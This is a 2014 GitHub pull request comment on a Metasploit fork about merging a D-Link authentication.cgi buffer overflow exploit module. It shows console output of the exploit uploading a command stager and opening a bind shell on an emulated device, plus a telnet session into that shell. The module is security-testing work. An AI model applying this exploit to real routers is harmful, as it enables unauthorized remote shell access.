m-1-k-3/metasploit-framework — pull request #12 by jvazquez-r7 (2014-06-20 16:41:20+00:00)
Title: Solve conflicts in 3385

Hi #m-1-k-3, this pull requests solves conflicst on https://github.com/rapid7/metasploit-framework/pull/3385 and does minor cleanup, testing successfully on qemu:

```
msf exploit(dlink_authentication_cgi_bof) > rexploit
[*] Reloading module...

[*] 172.16.158.139:8888 - Trying to access the vulnerable URL...
[*] Started bind handler
[*] 172.16.158.139:8888 - Exploiting...
[*] Command shell session 1 opened (172.16.158.1:52516 -> 172.16.158.139:4444) at 2014-06-20 11:33:25 -0500
[*] 172.16.158.139 - Command shell session 1 closed. Reason: Died from EOFError
[*] 172.16.158.139 - Command shell session 1 closed.
[*] Command Stager progress - 10.61% done (196/1848 bytes)
[*] Command Stager progress - 21.21% done (392/1848 bytes)
[*] Command Stager progress - 31.82% done (588/1848 bytes)
[*] Command Stager progress - 42.42% done (784/1848 bytes)
[*] Command Stager progress - 53.03% done (980/1848 bytes)
[*] Command Stager progress - 63.64% done (1176/1848 bytes)
[*] Command Stager progress - 74.24% done (1372/1848 bytes)
[*] Command Stager progress - 84.85% done (1568/1848 bytes)
[*] Command Stager progress - 95.45% done (1764/1848 bytes)
[*] Command Stager progress - 100.00% done (1848/1848 bytes)
^C[*] Exploit completed, but no session was created.
```

No session because the qemu environment isn't fully functional, but shell has been binded:

```
juan@ubuntu:~/debian/mipsel$ telnet localhost 4444
Trying ::1...
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Connection closed by foreign host.
juan@ubuntu:~/debian/mipsel$ telnet localhost 4444
Trying ::1...
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
i
: not found
ls
: not found

```

Do you mind the module works good in real device still? Once you feel comfortable, land it, and https://github.com/rapid7/metasploit-framework/pull/3385 will be ready to go! thanks!